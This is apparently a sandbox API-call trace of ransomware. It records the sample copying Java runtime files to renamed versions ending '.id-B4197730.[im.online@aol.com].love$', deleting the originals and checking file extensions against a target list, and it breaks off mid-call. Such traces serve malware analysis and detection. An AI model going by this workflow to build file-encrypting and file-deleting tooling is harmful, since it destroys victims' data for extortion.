GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0234.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.708] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.709] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.709] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.709] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0234.710] GetLastError () returned 0x0 [0234.710] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x44661, lpOverlapped=0x0) returned 1 [0234.723] WriteFile (in: hFile=0x4d8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x44670, lpOverlapped=0x0) returned 1 [0234.729] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.729] WriteFile (in: hFile=0x4d8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfa, lpOverlapped=0x0) returned 1 [0234.729] SetEndOfFile (hFile=0x4d8) returned 1 [0234.730] CloseHandle (hObject=0x4d8) returned 1 [0234.730] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.730] SetEndOfFile (hFile=0x4d4) returned 1 [0235.089] CloseHandle (hObject=0x4d4) returned 1 [0235.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.773] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0235.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.774] lstrlenW (lpString=".doc") returned 4 [0235.774] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0235.774] lstrlenW (lpString=".docx") returned 5 [0235.774] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0235.774] lstrlenW (lpString=".pdf") returned 4 [0235.774] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0235.774] lstrlenW (lpString=".xls") returned 4 [0235.774] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0235.774] lstrlenW (lpString=".xlsx") returned 5 [0235.774] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0235.774] lstrlenW (lpString=".ppt") returned 4 [0235.774] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0235.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.774] lstrlenW (lpString=".zip") returned 4 [0235.774] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0235.774] lstrlenW (lpString=".rar") returned 4 [0235.775] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0235.775] lstrlenW (lpString=".bz2") returned 4 [0235.775] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0235.775] lstrlenW (lpString=".7z") returned 3 [0235.775] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0235.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.775] lstrlenW (lpString=".dbf") returned 4 [0235.775] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0235.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.775] lstrlenW (lpString=".1cd") returned 4 [0235.775] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0235.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.775] lstrlenW (lpString=".jpg") returned 4 [0235.775] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0235.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.775] lstrlenW (lpString=".doc") returned 4 [0235.775] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0235.775] lstrlenW (lpString=".docx") returned 5 [0235.775] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0235.775] lstrlenW (lpString=".pdf") returned 4 [0235.775] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0235.775] lstrlenW (lpString=".xls") returned 4 [0235.775] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0235.775] lstrlenW (lpString=".xlsx") returned 5 [0235.775] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0235.776] lstrlenW (lpString=".ppt") returned 4 [0235.776] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0235.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.776] lstrlenW (lpString=".zip") returned 4 [0235.776] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0235.776] lstrlenW (lpString=".rar") returned 4 [0235.776] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0235.776] lstrlenW (lpString=".bz2") returned 4 [0235.776] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0235.776] lstrlenW (lpString=".7z") returned 3 [0235.776] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0235.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.776] lstrlenW (lpString=".dbf") returned 4 [0235.776] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0235.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.776] lstrlenW (lpString=".1cd") returned 4 [0235.776] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0235.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0235.776] lstrlenW (lpString=".jpg") returned 4 [0235.776] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0235.776] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.776] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0235.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.778] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=234068) returned 1 [0235.778] CloseHandle (hObject=0x46c) returned 1 [0235.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0235.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.778] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.779] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.779] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.780] GetLastError () returned 0x0 [0235.780] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x39254, lpOverlapped=0x0) returned 1 [0235.796] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x39260, lpOverlapped=0x0) returned 1 [0235.802] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.802] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x104, lpOverlapped=0x0) returned 1 [0235.802] SetEndOfFile (hFile=0x4c0) returned 1 [0235.802] CloseHandle (hObject=0x4c0) returned 1 [0235.802] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.802] SetEndOfFile (hFile=0x46c) returned 1 [0235.813] CloseHandle (hObject=0x46c) returned 1 [0235.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.814] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0235.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.814] lstrlenW (lpString=".doc") returned 4 [0235.814] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.814] lstrlenW (lpString=".docx") returned 5 [0235.815] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0235.815] lstrlenW (lpString=".pdf") returned 4 [0235.815] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString=".xls") returned 4 [0235.815] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.815] lstrlenW (lpString=".xlsx") returned 5 [0235.815] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0235.815] lstrlenW (lpString=".ppt") returned 4 [0235.815] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.815] lstrlenW (lpString=".zip") returned 4 [0235.815] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.815] lstrlenW (lpString=".rar") returned 4 [0235.815] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString=".bz2") returned 4 [0235.815] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString=".7z") returned 3 [0235.815] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.815] lstrlenW (lpString=".dbf") returned 4 [0235.815] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.815] lstrlenW (lpString=".1cd") returned 4 [0235.815] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.815] lstrlenW (lpString=".jpg") returned 4 [0235.815] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.816] lstrlenW (lpString=".doc") returned 4 [0235.816] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.816] lstrlenW (lpString=".docx") returned 5 [0235.816] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0235.816] lstrlenW (lpString=".pdf") returned 4 [0235.816] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.816] lstrlenW (lpString=".xls") returned 4 [0235.816] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.816] lstrlenW (lpString=".xlsx") returned 5 [0235.816] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0235.816] lstrlenW (lpString=".ppt") returned 4 [0235.816] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0235.816] lstrlenW (lpString=".zip") returned 4 [0235.816] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.816] lstrlenW (lpString=".rar") returned 4 [0235.816] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.816] lstrlenW (lpString=".bz2") returned 4 [0235.816] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.816] lstrlenW (lpString=".7z") returned 3 [0235.816] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0236.029] lstrlenW (lpString=".dbf") returned 4 [0236.029] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0236.029] lstrlenW (lpString=".1cd") returned 4 [0236.029] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0236.029] lstrlenW (lpString=".jpg") returned 4 [0236.029] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.029] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0236.029] lstrlenW (lpString="cursors.properties") returned 18 [0236.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0236.033] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1280) returned 1 [0236.033] CloseHandle (hObject=0x4dc) returned 1 [0236.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0236.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0236.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0236.034] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.034] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.034] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0236.043] GetLastError () returned 0x0 [0236.043] ReadFile (in: hFile=0x4dc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x500, lpOverlapped=0x0) returned 1 [0236.045] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x510, lpOverlapped=0x0) returned 1 [0236.046] ReadFile (in: hFile=0x4dc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.047] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf8, lpOverlapped=0x0) returned 1 [0236.047] SetEndOfFile (hFile=0x4e0) returned 1 [0236.047] CloseHandle (hObject=0x4e0) returned 1 [0236.047] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.047] SetEndOfFile (hFile=0x4dc) returned 1 [0236.050] CloseHandle (hObject=0x4dc) returned 1 [0236.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0236.051] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0236.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.052] lstrlenW (lpString=".doc") returned 4 [0236.052] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0236.052] lstrlenW (lpString=".docx") returned 5 [0236.052] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0236.052] lstrlenW (lpString=".pdf") returned 4 [0236.052] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString=".xls") returned 4 [0236.053] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString=".xlsx") returned 5 [0236.053] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0236.053] lstrlenW (lpString=".ppt") returned 4 [0236.053] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString=".zip") returned 4 [0236.053] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString=".rar") returned 4 [0236.053] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString=".bz2") returned 4 [0236.053] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString=".7z") returned 3 [0236.053] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString=".dbf") returned 4 [0236.053] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString=".1cd") returned 4 [0236.053] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString=".jpg") returned 4 [0236.053] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.053] lstrlenW (lpString=".doc") returned 4 [0236.053] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".docx") returned 5 [0236.054] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0236.054] lstrlenW (lpString=".pdf") returned 4 [0236.054] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".xls") returned 4 [0236.054] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".xlsx") returned 5 [0236.054] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0236.054] lstrlenW (lpString=".ppt") returned 4 [0236.054] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.054] lstrlenW (lpString=".zip") returned 4 [0236.054] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".rar") returned 4 [0236.054] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".bz2") returned 4 [0236.054] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString=".7z") returned 3 [0236.054] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0236.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.054] lstrlenW (lpString=".dbf") returned 4 [0236.054] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.054] lstrlenW (lpString=".1cd") returned 4 [0236.054] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0236.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0236.054] lstrlenW (lpString=".jpg") returned 4 [0236.054] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0236.055] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0236.055] lstrlenW (lpString="javafx.properties") returned 17 [0236.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0236.056] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=56) returned 1 [0236.056] CloseHandle (hObject=0x4dc) returned 1 [0236.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0236.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0236.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, 